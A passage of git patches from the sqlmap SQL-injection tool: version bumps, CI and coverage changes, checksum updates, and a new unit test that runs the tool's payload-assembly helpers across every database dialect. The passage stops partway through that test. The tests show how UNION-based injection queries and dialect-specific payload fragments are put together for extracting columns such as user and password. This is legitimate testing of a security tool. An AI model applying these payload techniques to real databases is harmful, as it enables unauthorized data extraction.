c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 8df228f6464..9dd347ed210 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.183" +VERSION = "1.10.6.184" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From b933ff3f6310b1b1b379a6a9d184245e70ac11a5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:52:29 +0200 Subject: [PATCH 640/853] Polishing CI/CD pipeline --- .github/workflows/tests.yml | 1 + data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 3 insertions(+), 2 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index ed87f885d78..e5629645b3b 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -3,6 +3,7 @@ on: branches: [ master ] pull_request: branches: [ master ] + workflow_dispatch: concurrency: group: ci-${{ github.ref }} diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index ccc93661950..8767f793a44 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -40af34c5f871067ef8b6cc6580a1fb6d18bbc9483a3e6de51797c7c2d6c06425 lib/core/settings.py +1a569b5bcd33ae45d95c140fd3bae2f12ad54640d938172de3cb99f73a549b47 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 9dd347ed210..bb3a3ada1cc 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.184" +VERSION = "1.10.6.185" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From cb20a446ae5f21c2cc32442ccacde0be0b3060b7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 14:28:42 +0200 Subject: [PATCH 641/853] Update of unit tests --- .github/workflows/tests.yml | 8 + .gitignore | 1 + data/txt/sha256sums.txt | 55 +- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 2 +- tests/test_agent_dialects.py | 274 ++++++++++ tests/test_api.py | 619 ++++++++++++++++++++++ tests/test_checks.py | 504 ++++++++++++++++++ tests/test_common_parsers.py | 466 +++++++++++++++++ tests/test_common_utils.py | 340 +++++++++++++ tests/test_compat.py | 290 +++++++++++ tests/test_core_extra.py | 676 +++++++++++++++++++++++++ tests/test_core_final.py | 605 ++++++++++++++++++++++ tests/test_core_more.py | 706 ++++++++++++++++++++++++++ tests/test_databases_enum.py | 511 +++++++++++++++++++ tests/test_dbms_enum.py | 98 ++++ tests/test_dbms_enum_a.py | 215 ++++++++ tests/test_dbms_enum_b.py | 469 +++++++++++++++++ tests/test_deps.py | 113 +++++ tests/test_dialectdbms.py | 11 +- tests/test_dns_engine.py | 119 ++++- tests/test_dns_server.py | 163 +++--- tests/test_dump_format.py | 410 +++++++++++++++ tests/test_filesystem.py | 736 +++++++++++++++++++++++++++ tests/test_fingerprint.py | 203 ++++++++ tests/test_generic_enum_more.py | 865 +++++++++++++++++++++++++++++++ tests/test_generic_more.py | 873 ++++++++++++++++++++++++++++++++ tests/test_graphql.py | 59 ++- tests/test_gui_helpers.py | 118 +++++ tests/test_har.py | 171 +++++++ tests/test_hash_crack.py | 218 ++++++++ tests/test_hashdb.py | 13 +- tests/test_inference.py | 293 +++++++++++ tests/test_ldap.py | 123 +++-- tests/test_option_more.py | 663 ++++++++++++++++++++++++ tests/test_option_setup.py | 739 +++++++++++++++++++++++++++ tests/test_parse_modules.py | 175 +++++++ tests/test_payload_marking.py | 163 ++++-- tests/test_progress.py | 78 +++ tests/test_purge.py | 124 +++++ tests/test_search_enum.py | 475 +++++++++++++++++ tests/test_sgmllib.py | 267 ++++++++++ tests/test_tamper.py | 40 +- tests/test_target_parsing.py | 521 +++++++++++++++++++ tests/test_techniques.py | 769 ++++++++++++++++++++++++++++ tests/test_techniques_more.py | 540 ++++++++++++++++++++ tests/test_threads.py | 171 +++++++ tests/test_users_enum.py | 256 ++++++++++ 48 files changed, 15118 insertions(+), 192 deletions(-) create mode 100644 tests/test_agent_dialects.py create mode 100644 tests/test_api.py create mode 100644 tests/test_checks.py create mode 100644 tests/test_common_parsers.py create mode 100644 tests/test_common_utils.py create mode 100644 tests/test_compat.py create mode 100644 tests/test_core_extra.py create mode 100644 tests/test_core_final.py create mode 100644 tests/test_core_more.py create mode 100644 tests/test_databases_enum.py create mode 100644 tests/test_dbms_enum.py create mode 100644 tests/test_dbms_enum_a.py create mode 100644 tests/test_dbms_enum_b.py create mode 100644 tests/test_deps.py create mode 100644 tests/test_dump_format.py create mode 100644 tests/test_filesystem.py create mode 100644 tests/test_fingerprint.py create mode 100644 tests/test_generic_enum_more.py create mode 100644 tests/test_generic_more.py create mode 100644 tests/test_gui_helpers.py create mode 100644 tests/test_har.py create mode 100644 tests/test_hash_crack.py create mode 100644 tests/test_inference.py create mode 100644 tests/test_option_more.py create mode 100644 tests/test_option_setup.py create mode 100644 tests/test_parse_modules.py create mode 100644 tests/test_progress.py create mode 100644 tests/test_purge.py create mode 100644 tests/test_search_enum.py create mode 100644 tests/test_sgmllib.py create mode 100644 tests/test_target_parsing.py create mode 100644 tests/test_techniques.py create mode 100644 tests/test_techniques_more.py create mode 100644 tests/test_threads.py create mode 100644 tests/test_users_enum.py diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index e5629645b3b..7f3268e69ab 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -99,6 +99,14 @@ jobs: # 'binary' instead of 'text'. Keeping this step byte-compile-free leaves --smoke clean. run: python -B -m unittest discover -s tests -p "test_*.py" + - name: Coverage + if: matrix.python-version != 'pypy-2.7' + run: | + python -m pip install coverage + python -m coverage run --source=lib,plugins,tamper -m unittest discover -s tests -p "test_*.py" + python -m coverage run -a --source=lib,plugins,tamper sqlmap.py --doc-test + python -m coverage report --fail-under=50 + - name: Smoke test run: python sqlmap.py --smoke-test diff --git a/.gitignore b/.gitignore index 78c5d1d9b45..07ca46e6eb7 100644 --- a/.gitignore +++ b/.gitignore @@ -15,3 +15,4 @@ lib/.DS_Store plugins/.DS_Store thirdparty/.DS_Store CLAUDE.md +.coverage diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 8767f793a44..d8d8b663193 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -1a569b5bcd33ae45d95c140fd3bae2f12ad54640d938172de3cb99f73a549b47 lib/core/settings.py +5cbf5f4bc21f21873df79babd91da8f7fea5ec3c1999f108f005ca6fb4d453b6 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -200,7 +200,7 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -a6440d24f8d6b772221fc78a655d3df07a000ba23e7924bd51cf5068097ee1fb lib/parse/cmdline.py +8351588876a7579fa96b3ab860ef2254487de34ea624c0a7696f2428c24ceb98 lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -579,50 +579,85 @@ dcdeed9ee285e63cf06baf8347e3db7f210ef25a63869bab78ce1ec6898ae191 tamper/unional 0694e721b07b8242245688be5c7951a3a22f512ed73776a998885e4b1bc82bc7 tamper/versionedmorekeywords.py ce1b6bf8f296de27014d6f21aa8b3df9469d418740cd31c93d1f5e36d6c509cf tamper/xforwardedfor.py 44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 tests/__init__.py +d2c27dff782dbe119a4cb5041f374d87b67e3da523ee3a7ad584d34721b6c564 tests/test_agent_dialects.py bfb553602eb5d20b4ab5928dbcf8e6a3e7e5ff69f7d30d1f53ef6d323c237f6c tests/test_agent.py +138381e05a860272fedab780e6c38ab74c59c879048b11b909d23f8df654352a tests/test_api.py feb763ddcbf4f32822372ca53f8c71c754af7b72510ef06e1e9c77927fc90b10 tests/test_bigarray.py 27ad87c0ea377e0657bd6f6a4eaa0e9756aa9d28ec0483bdadeb3f66dcc4660d tests/test_charset.py +c99b77cc5d85334f147a1a6d4b2867af396f70e9f2609f8587344e084910e893 tests/test_checks.py 9e678a56e16211c49ab4995b6c658d3f122bfa3b357d9e17ff38f5a489ace6ad tests/test_cloak.py 2ec894f49ca9bd750a23ead16dae176bcbc57d18ec5847fa4a5eeb886d75c1bd tests/test_common_helpers.py +c6338f74230b758cb41adacf4f04593e70b4b11e054ea0b35712607a781e0d55 tests/test_common_parsers.py +b1540c5f2be80ee3d870d7c373adfca23f33adb06724db00335adbd79bea4272 tests/test_common_utils.py 899bc085e96d68f8a8cbe0d7e55863e98ef37b73ab0e4234f7d969e31ea2d23a tests/test_comparison_json.py 7b72d4f850bbd059b8e95fceb45a58470354cb7270c99b0e9981aaa189af20d1 tests/test_comparison.py +a0a29231acbbe6bec11400e28b39b76eaf812c03bf79d5f0dbdd68cd54a052f8 tests/test_compat.py 75357efd92f3f57cc05244a0f40985108077479fd192caaaa81e14f61c13783d tests/test_convert.py +d2c52b1c9b0f31e2d30e1fc3942986692a815e76fa8e39903c3824d6d6d0ee71 tests/test_core_extra.py +7c6d542bf96e8962ecdf8607f93e84babe4820045533bded170955e95727d630 tests/test_core_final.py +e42f6dd46fa7f2d1e666116e2244fa02e7b9d930a005e2bbeea89cfe3f2215b6 tests/test_core_more.py +951822c0d6ea62dc91cc4a7614059788b256cac06167f4767721f2ad5d54a78b tests/test_databases_enum.py c17544be5e945dc8c4fbb5c3b922da8eceec30b0fb239c32fb5f40e1660a197f tests/test_datafiles.py 9c240d4f796e56376374d4ce46f358ceb7d48cc6a7427760c5bfb89ff01cb545 tests/test_datatypes.py +c9f7c5219e379b0242914f79f1e5d3b8b7d1a4c5e9f77cd05d0ec382d4fbed88 tests/test_dbms_enum_a.py +866978b7d5d0270a54465897932fe645c7e0360d73b0e4086540558c107e680d tests/test_dbms_enum_b.py +a3628b7f22dcc0ff4cd9ed8a1e70519a340f40fa4d73e9220c7d11f5088d9c01 tests/test_dbms_enum.py 3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd tests/test_decodepage.py -b6d8a4bc9c46a332a2dc7b3cf862ea67e38b5c5701cfd8eb3556021f6b611416 tests/test_dialectdbms.py +8e469e4e29319bcb718803a9e109e742965875c985fa8e8d3bb5b18c922ec597 tests/test_deps.py +b01343eb8aa42ea5c2c483ec028a24f6451aa6f668fdc0c289d5ff9554c277d7 tests/test_dialectdbms.py e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2 tests/test_dialect.py 993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py -ed5a0e453b811dc3dcc5ca28e14a9d7552aacaa7e316e1bca1b042dc5939e204 tests/test_dns_engine.py -703faac01f38224ba85bd0fc398d939ea034f1d7fd641cdc15da4f77ec049443 tests/test_dns_server.py +7f9180a53dbf0bb3e52801fdbfffd31f365a0bff77bf90e58d2ef63a0c23026f tests/test_dns_engine.py +ec58ba0849d90d2bb7580fe2b8b96cd8299ddfc25f14dc27d9de9d41f152c78a tests/test_dns_server.py +4556bb0bfa6fcd5b98552426c57c99942ee8274eaefec7c316fd64247e4fcd6a tests/test_dump_format.py 9cd5841349bc4db818658d12184929a96f7f279eff1f53ad18a54dbefbd6b276 tests/test_dump_jsonl.py 2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py bb6991260a994fcbe79e05febaa34affd5631d02299fbc626820addd5f6ea4f4 tests/test_error_engine.py -4a5f9392b7fec7b40c4d865b83306b58b76f3423cebc2876e6e75fb91b037202 tests/test_graphql.py -8105de9978fe286a29f6b635a58db1e9998d86e8dded54d7efdfb9d52a121094 tests/test_hashdb.py +31354d3cff0d26ecf3b42e949a2780ae3d286cdf206b59404e18a96e7a2cddd2 tests/test_filesystem.py +6a9d95f64c7892957742534a14e8f094c6ed9ebc91b7059f4f1665049228a5a6 tests/test_fingerprint.py +4f3cfb830b323a3423b0f80985b9a0bbbe4ef77350b762f103dcd8936cca67c6 tests/test_generic_enum_more.py +9874920d18fc30736630df6b14a70b230504d2e4d0c035971a9aa285ee623839 tests/test_generic_more.py +bde97a4781c4ee84e0fe86f7a33206f114167eb14b704013ecf1c26b838193d7 tests/test_graphql.py +50b71422ee91b9a4864f4d5ce6c9bdf169dc5f57ed1db05c152eb010c282136b tests/test_gui_helpers.py +92648f2fe81e22c5726b198bbbda14961cd4d3294a0d9139dcea808b324142ac tests/test_har.py +da2efd1b7457ff619d98a2ae5045f072fdd34be2aa1c18f17d74d7518eeb6707 tests/test_hash_crack.py +0336c875dd2b6554bff6eafd746229e38c69ca8070cd933d45cf27c82ef3e05f tests/test_hashdb.py c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7 tests/test_hash.py d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_identifiers_output.py 5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1 tests/test_inference_engine.py -13d0369f3fea7262f7944999f559da38e5284cbc76660fd7aeffedad78e65f5f tests/test_ldap.py +280afe64cabac3a737d2574f4e2873760c3883eaac1b7ba0f8fed4b82b91c9c2 tests/test_inference.py +0fc7bd9bae4fbd09f51027780b7a8e72eab73810dccdfdf87ed9e489e6e671c9 tests/test_ldap.py caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py 790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7 tests/test_nosql.py 88a8c7ce0ba0ca721dffbcf9351cd07f7e471ad2fe667a10608c18952b09868d tests/test_openapi_drift.py +647d782395fe88dcda775808b9988a0809b208d1df9412d89dc8b6809bd15de6 tests/test_option_more.py +a5743989442de51b3689b30c27118249502bb462788abeeb1ddb27cd176cd363 tests/test_option_setup.py cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pagecontent.py -4bac34af2abddce003756d6776e89b2fda220bb7603ef3761f4f37ee29f9c369 tests/test_payload_marking.py +7554a918309cf0f2cd8a63a3bb7659708f13beffbcd5ce498ece9f9167d55c97 tests/test_parse_modules.py +064617c6a3d28ecd75136318b4f515ab1adefbf830da17667f105337b419c184 tests/test_payload_marking.py 6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f tests/test_payloads_structure.py +d6ffa83bd56ae98e7f55307b72dd7ea4802bccea9a85bb8f062619fb0a88913e tests/test_progress.py a6d013104601c0414628aff3d8b5b69bee3e6733781d8f8da880457d8b44bd3a tests/test_property.py +c4c6f500bb71c3e430da343a49e8c8b8b3c919f438b6e6130597ce68dd856487 tests/test_purge.py 2dfefb4bfaee3868152835502ec43da317c4f274b1d55cd2ef21e4f7390c9bea tests/test_replication.py 67a5241aeebc20eb1c20cfc490422a59af5179040824e5731bd785db2e6bf750 tests/test_report.py cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_safe2bin.py +d4f6e60c23db67430cf68dc2d90317d69391a19feff0f842c08ae2443b481857 tests/test_search_enum.py a1c6cda1e5b483f61e6a4f8ddd0b06a15ddaa3fd2119bfb9dbd9cc970d7a751d tests/test_settings_regex.py +d6bcba7232fff834737c094679c92e7a69cab5721bc87cb10bcab868c6a8115f tests/test_sgmllib.py d3d991331096e16e5019de3d652e9fff92c09bd9f97c50b1c2c3ceb0ed49b17e tests/test_sqlparse.py 8bcbf1091134dd0a62f6201f8b3645ed87b5ff2f7ba40a87231a29dac412591f tests/test_strings.py -f3a628db8a3e05baee580c02132e95b164695e4b3ee1785707e3ea148702449a tests/test_tamper.py +8f1c5f0f337ecd26d35c5551060034e0aa33a62cce5385fc1227fdc485f6383e tests/test_tamper.py +44954b916f1e4a4bb217516a65cf330fca922600d484f732525e0e4a2a553167 tests/test_target_parsing.py b3e13febe9e0ff6f97334f2868655bfdbaa18755e464a6dc4c6d424f513bad02 tests/test_targeturl.py +d070a72ae9529182d6dfc0884f7720d42a5f0cd8cd865dd4c2d209389c3ade85 tests/test_techniques_more.py +f2e8b5b9799f4e591462f53a97bb643c6399acf703f33e119c03d991971274ab tests/test_techniques.py 639851dc68f62b559b200b09c308e64e453f414969940005bac75dc0ab07a6b6 tests/test_texthelpers.py +f49bcce1df533ffa1acfd02af43faf6687b21eebda9362ceb1e5871b8cb37fd4 tests/test_threads.py 708b3c040f8b677a84020dd6f7c4242f77260b3c6d2697fe8189e1881b0e1365 tests/test_union_engine.py 48b0ae4abe0fdde8ce4975c5cbf4c3514a2815021cb2e3a490a189bea5edfe78 tests/test_unpickle_security.py 4b646f513c6da1e33200184ed6eabe0aa345eb2e2a19598dc123e191168591bf tests/test_urls.py +e7793907ce4dad9034d61f2a3cdfec8af33b96f8e6f67138b09daf81a825c13f tests/test_users_enum.py 23ffd75b5aec33066e6d6aad01ab2c9c1b12ee20c1a0990f8f1be81f1ad16161 tests/_testutils.py 2364db35025a53ea4e5a0a80c034997642785f7e6d1566d0d0f1db959fe3c82e tests/test_utils.py 93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py diff --git a/lib/core/settings.py b/lib/core/settings.py index bb3a3ada1cc..79a4e7ea03a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.185" +VERSION = "1.10.6.186" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index ea79f31158f..72e43e1e652 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -898,7 +898,7 @@ def cmdLineParser(argv=None): parser.add_argument("--non-interactive", dest="nonInteractive", action="store_true", help=SUPPRESS) - parser.add_argument("--smoke-test", dest="smokeTest", action="store_true", + parser.add_argument("--smoke-test", "--doc-test", dest="smokeTest", action="store_true", help=SUPPRESS) parser.add_argument("--vuln-test", dest="vulnTest", action="store_true", diff --git a/tests/test_agent_dialects.py b/tests/test_agent_dialects.py new file mode 100644 index 00000000000..72b9007a5e2 --- /dev/null +++ b/tests/test_agent_dialects.py @@ -0,0 +1,274 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Cross-dialect exercise of lib/core/agent.py payload-assembly helpers. + +agent.py builds SQL payloads from per-DBMS dialect templates (queries.xml). +The helpers are pure given the identified back-end DBMS, so driving each one +across EVERY supported dialect walks the dialect-specific branches (CAST forms, +concatenation operators, LIMIT/TOP/ROWNUM shapes, ...) without a live target. + +These are smoke-level assertions (right type, dialect tokens present) rather than +golden strings: the goal is to traverse the dialect branches the single-DBMS +tests in test_agent.py do not reach. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.agent import agent +from lib.core.data import queries + +DIALECTS = sorted(queries.keys()) + +# --------------------------------------------------------------------------- # +# Per-dialect expectation maps (keyed by the DBMS display name == queries key). +# +# These were derived by inspecting the actual agent.py output for every dialect +# (the queries.xml templates drive the branches). They pin the *distinctive* +# dialect token so an assertion fails if the dialect branch collapses to the +# wrong form (e.g. concat operator swapped, null-wrapper dropped). +# --------------------------------------------------------------------------- # + +# concatQuery / simpleConcatenate join operator per dialect. +CONCAT_OPERATOR = { + "ClickHouse": "CONCAT(", + "Informix": "CONCAT(", + "MySQL": "CONCAT(", + "SAP MaxDB": "CONCAT(", + "Microsoft SQL Server": "+", + "Sybase": "+", + "Microsoft Access": "&", +} +# everything not listed above uses the SQL standard "||" +CONCAT_OPERATOR_DEFAULT = "||" + +# nullAndCastField / nullCastConcatFields NULL-wrapper function per dialect. +NULL_WRAPPER = { + "Altibase": "NVL", + "Apache Derby": "COALESCE", + "ClickHouse": "ifNull", + "CrateDB": "COALESCE", + "Cubrid": "IFNULL", + "Firebird": "COALESCE", + "FrontBase": "COALESCE", + "H2": "IFNULL", + "HSQLDB": "IFNULL", + "IBM DB2": "COALESCE", + "Informix": "NVL", + "InterSystems Cache": "COALESCE", + "Mckoi": "IF(", + "Microsoft Access": "IIF", + "Microsoft SQL Server": "ISNULL", + "MimerSQL": "COALESCE", + "MonetDB": "COALESCE", + "MySQL": "IFNULL", + "Oracle": "NVL", + "PostgreSQL": "COALESCE", + "Presto": "COALESCE", + "Raima Database Manager": "IFNULL", + "SAP MaxDB": "VALUE", + "SQLite": "COALESCE", + "Snowflake": "NVL", + "Spanner": "IFNULL", + "Sybase": "ISNULL", + "Vertica": "COALESCE", + "Virtuoso": "__MAX_NOTNULL", + "eXtremeDB": "IFNULL", +} + +# hexConvertField: dialects that DO have a hex function, mapped to its token. +HEX_FUNCTION = { + "Altibase": "HEX_ENCODE(", + "Cubrid": "HEX(", + "H2": "RAWTOHEX(", + "IBM DB2": "HEX(", + "Microsoft SQL Server": "fn_varbintohexstr", + "MySQL": "HEX(", + "Oracle": "RAWTOHEX(", + "PostgreSQL": "ENCODE(", + "Presto": "TO_HEX(", + "SAP MaxDB": "HEX(", + "SQLite": "HEX(", + "Spanner": "TO_HEX(", + "Sybase": "BINTOSTR", + "Vertica": "TO_HEX(", +} +# dialects that intentionally do NOT support hex conversion and return the +# field unchanged (a no-op the old "colname in out" check silently masked). +HEX_NOOP = set(DIALECTS) - set(HEX_FUNCTION) + +# limitQuery: dialects whose limit template is empty so the call legitimately +# raises (no .limit.query). These are skipped by name in the limit-token test. +LIMIT_RAISES = {"Mckoi", "Raima Database Manager"} +# dialects with no special limitQuery branch: the query is returned unchanged +# (no limit token is emitted). +LIMIT_PASSTHROUGH = {"Informix", "Microsoft Access", "SAP MaxDB"} +# broad set of dialect limit tokens; every running, non-passthrough dialect +# emits at least one of these. +LIMIT_TOKENS = ("LIMIT", "TOP", "ROWNUM", "FETCH", "ROWS", "OFFSET", "ROW_NUMBER") + + +class TestNullCastConcatFields(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.nullCastConcatFields("user,password") + self.assertIsInstance(out, str, msg=dbms) + # both column names survive the null/cast/concat rewrite + self.assertIn("user", out, msg=dbms) + self.assertIn("password", out, msg=dbms) + # the dialect-specific NULL-wrapper must be present (the column-name + # check above is always satisfied and so cannot catch a broken + # branch); this fails if the wrapper collapses to the wrong form. + self.assertIn(NULL_WRAPPER[dbms], out, msg="%s: %s" % (dbms, out)) + + def test_literal_passthrough(self): + for dbms in DIALECTS: + set_dbms(dbms) + # a bare quoted literal is returned untouched + self.assertEqual(agent.nullCastConcatFields("'abc'"), "'abc'", msg=dbms) + + +class TestNullAndCastField(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.nullAndCastField("colname") + self.assertIsInstance(out, str, msg=dbms) + self.assertIn("colname", out, msg=dbms) + # dialect-specific NULL wrapper (IFNULL/COALESCE/NVL/ISNULL/IIF/...) + self.assertIn(NULL_WRAPPER[dbms], out, msg="%s: %s" % (dbms, out)) + + +class TestHexConvertField(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.hexConvertField("colname") + self.assertIsInstance(out, str, msg=dbms) + self.assertIn("colname", out, msg=dbms) + if dbms in HEX_FUNCTION: + # the dialect's hex function wraps the field + self.assertIn(HEX_FUNCTION[dbms], out, msg="%s: %s" % (dbms, out)) + else: + # intentional no-op: the field is returned verbatim. The old + # "colname in out" check masked this; pin the exact identity. + self.assertEqual(out, "colname", msg="%s expected no-op: %s" % (dbms, out)) + + +class TestConcatQuery(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.concatQuery("SELECT user FROM users") + self.assertIsInstance(out, str, msg=dbms) + # concatQuery output is dialect-specific: MySQL/ClickHouse/Informix/ + # SAP MaxDB use CONCAT(...), MSSQL/Sybase use +, Access uses &, and + # the rest use the SQL-standard ||. Assert the right operator so the + # test fails if the dialect collapses to the wrong concatenation. + expected = CONCAT_OPERATOR.get(dbms, CONCAT_OPERATOR_DEFAULT) + self.assertIn(expected, out, msg="%s: %s" % (dbms, out)) + + +class TestSimpleConcatenate(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.simpleConcatenate("a", "b") + self.assertIsInstance(out, str, msg=dbms) + self.assertIn("a", out, msg=dbms) + self.assertIn("b", out, msg=dbms) + + +class TestForgeUnionQuery(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + count = 3 + out = agent.forgeUnionQuery("SELECT user FROM users", -1, count, None, + None, None, "NULL", None) + self.assertIsInstance(out, str, msg=dbms) + self.assertIn("UNION", out.upper(), msg=dbms) + # position -1 with char NULL fills every one of the `count` columns + # with the char, so the NULL char must appear exactly `count` times. + # (a hardcoded "UNION in out" check could not catch a wrong column + # count.) Match NULL as a whole token to avoid matching substrings. + self.assertEqual(re.findall(r"\bNULL\b", out).__len__(), count, + msg="%s expected %d NULLs: %s" % (dbms, count, out)) + + +class TestLimitQuery(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + + # Only Mckoi/Raima have an empty limit template and legitimately + # raise; skip exactly those by name rather than swallowing *any* + # exception (which would hide a real regression in another dialect). + if dbms in LIMIT_RAISES: + with self.assertRaises(Exception, msg=dbms): + agent.limitQuery(0, "SELECT user FROM users", "user") + continue + + out = agent.limitQuery(0, "SELECT user FROM users", "user") + self.assertIsInstance(out, str, msg=dbms) + + if dbms in LIMIT_PASSTHROUGH: + # these dialects have no dedicated limitQuery branch and return + # the query unchanged (documented no-op). + self.assertEqual(out, "SELECT user FROM users", msg=dbms) + else: + # every other running dialect emits a real limit construct + self.assertTrue(any(tok in out.upper() for tok in LIMIT_TOKENS), + msg="%s missing limit token: %s" % (dbms, out)) + + +class TestForgeCaseStatement(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.forgeCaseStatement("1=1") + self.assertIsInstance(out, str, msg=dbms) + # dialects vary on the conditional form (CASE / IIF / 